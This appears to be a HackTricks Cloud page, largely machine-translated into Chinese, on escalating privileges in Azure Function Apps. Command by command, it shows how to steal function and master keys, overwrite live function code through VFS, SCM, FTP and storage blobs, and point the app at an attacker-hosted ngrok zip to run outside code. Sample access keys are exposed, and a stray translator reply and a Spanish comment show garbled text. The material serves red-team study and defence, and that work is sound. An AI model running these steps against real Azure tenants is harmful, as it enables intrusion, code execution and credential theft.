Az - Functions App Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Function Apps
Check the following page for more information:
Bucket 读/写
如果有权限读取存放函数数据的 Storage Account 中的容器,就可能找到可能包含 函数执行的代码 的不同容器(自定义的或预定义名称的容器)。
一旦找到函数代码的存放位置,且对其具有写权限,就可以让函数执行任意代码,从而提升对附加到该函数的 managed identities 的权限。
File Share(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
函数的代码通常存储在 file share 中。只要有足够的访问权限,就可以修改代码文件并使函数加载任意代码,从而提升附加到该 Function 的 managed identities 的权限。
这种部署方式通常会配置设置 WEBSITE_CONTENTAZUREFILECONNECTIONSTRING 和 WEBSITE_CONTENTSHARE,你可以从
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
这些配置将包含 Storage Account Key,Function 可以使用它来访问代码。
Caution
如果拥有足够的权限连接到 File Share 并 修改正在运行的脚本,就可能在 Function 中执行任意代码并提升权限。
下面的示例使用 macOS 连接到 file share,但建议也查看以下页面以获取有关 file shares 的更多信息:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases(WEBSITE_RUN_FROM_PACKAGE)
通常也常见在 function app 所使用的 Storage Account 容器中的 function-releases 文件夹里找到这些 zip 发布包,该容器通常被命名为 function-releases。
通常这种部署方式会在以下位置设置 WEBSITE_RUN_FROM_PACKAGE 配置:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
This config will usually contain a SAS URL to download the code from the Storage Account.
Caution
拥有足够权限连接到 blob container that contains the code in zip,就可能在 Function 中执行任意代码并提升权限。
github-actions-deploy(WEBSITE_RUN_FROM_PACKAGE)
与前一种情况类似,如果部署是通过 Github Actions 完成的,可能会在 Storage Account 中找到文件夹 github-actions-deploy,其中包含代码的 zip,并且在设置 WEBSITE_RUN_FROM_PACKAGE 中有指向该 zip 的 SAS URL。
scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
如果有权限读取存储 function 数据的 Storage Account 内的容器,就可以找到容器 scm-releases。在其中可以找到以 Squashfs filesystem file format 存储的最新版本,因此可以读取该 function 的代码:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
还可以在 storage account 中找到存储的 master and functions keys,位于容器 azure-webjobs-secrets 的 <app-name> 文件夹内的 JSON files 中。
Caution
如果拥有足够权限连接到包含代码的 blob container(contains the code in a zip extension file(which actually is a
squashfs)),就可能在 Function 中执行任意代码并 escalate privileges。
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
此权限允许列出指定函数的 function、master 和 system keys,但不包括 host key,可通过:
az functionapp keys list --resource-group <res_group> --name <func-name>
使用 master key 也可以通过类似以下的 URL 获取源代码:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
并要使用以下方式更改函数中正在执行的代码:
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
此权限允许通过以下方式获取指定函数的默认密钥:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
使用获取的默认密钥调用函数:
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
Microsoft.Web/sites/host/functionKeys/write
此权限允许为指定函数创建或更新函数密钥,方式为:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
此权限允许为指定的函数创建/更新主密钥,方法是:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Caution
记住,使用此 key 你也可以访问源代码并按前面所述进行修改!
Microsoft.Web/sites/host/systemKeys/write
此权限允许以以下方式为指定函数创建/更新系统 function key:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
你还没有提供要翻译的内容或密钥。请粘贴文件内容或在“Use the key:”后提供密钥,我会按要求把相关英文翻译成中文。
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
Microsoft.Web/sites/config/list/action
此权限允许获取函数的设置。在这些配置中,可能会找到默认值 AzureWebJobsStorage 或 WEBSITE_CONTENTAZUREFILECONNECTIONSTRING,其中包含用于以 FULL 权限访问该函数的 blob storage 的 account key。
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
此外,此权限还允许获取 SCM username and password(如果已启用),方法如下:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
这些权限允许列出函数的配置值(如前所述),并且还能修改这些值。这很有用,因为这些设置指明了函数内部要执行的代码所在位置。
因此可以将设置 WEBSITE_RUN_FROM_PACKAGE 的值指向一个包含新代码的 URL zip 文件,从而在 web 应用中执行该新代码:
- 首先获取当前配置
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- 创建你希望函数运行的代码并公开托管它
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
-
修改函数,保留之前的参数,并在末尾添加配置
WEBSITE_RUN_FROM_PACKAGE,指向包含代码的 zip 的 URL。 -
下面是我的 示例设置(你需要将这些值替换为你自己的),注意末尾的值
"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip",这是我托管该应用的位置。
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
有了此权限,就可以通过 web 控制台(或通过以下 API 端点)修改应用程序的代码:
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
该权限允许列出所有发布配置文件,这些基本上包含 basic auth credentials:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
另一种选择是设置你自己的 creds 并使用它们:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- 如果 REDACTED 凭据
如果你看到这些凭据是 REDACTED,这是因为你 need to enable the SCM basic authentication option,为此你需要第二个权限 (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- 方法 SCM
然后,您可以使用这些 basic auth credentials to the SCM URL 来访问您的 function app 的 SCM URL,并获取 env variables 的值:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
注意 SCM username 通常是字符 “$” 后跟应用名称,所以:$<app-name>.
你也可以通过 https://<app-name>.scm.azurewebsites.net/BasicAuth 访问该网页
设置值包含存储 function app 数据的存储帐户的 AccountKey,可用于控制该存储帐户。
- 方法 FTP
使用以下方式连接到 FTP 服务器:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
请注意 FTP username 通常的格式是 <app-name>\$<app-name>.
Microsoft.Web/sites/hostruntime/vfs/read
此权限允许通过 VFS 读取应用的源代码:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
有了这个权限,可以 get the admin token,随后可用于检索 master key,从而访问并修改函数的代码。
然而,在我最近的检查中未返回任何 token,因此它可能已被禁用或不再可用,但下面是你可以如何操作:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
此权限允许 enable functions(启用可能已被禁用的 functions,或将其禁用)。
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
也可以通过以下 URL 查看函数是否已启用或禁用(括号中为所需权限):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
有了这些权限,可以修改 function app 运行的容器(该 function app 被配置为运行容器)。这将允许攻击者将一个恶意的 azure function container app 上传到 docker hub(例如),并让该函数去执行它。
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
拥有这些权限可以将新的 user managed identity 附加到一个 function。如果该 function 被妥协,这将允许对任何 user managed identity 提权。
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
远程调试
也可以像 explained in the docs 所述那样连接并调试正在运行的 Azure function。然而,默认情况下 Azure 会在 2 天后将此选项关闭,以防开发者忘记从而留下易受攻击的配置。
可以使用以下命令检查某个 Function 是否启用了调试:
az functionapp show --name <app-name> --resource-group <res-group>
具有权限 Microsoft.Web/sites/config/write 时,也可以将函数置于调试模式(下面的命令还需要权限 Microsoft.Web/sites/config/list/action、Microsoft.Web/sites/config/Read 和 Microsoft.Web/sites/Read)。
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
更改 Github repo
我尝试通过执行以下命令更改进行部署的 Github repo,但即使更改了,新代码也没有被加载(可能因为它期望由 Github Action 更新代码)。
此外,托管身份联合凭证并未更新以允许新仓库,所以这看起来没什么用。
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

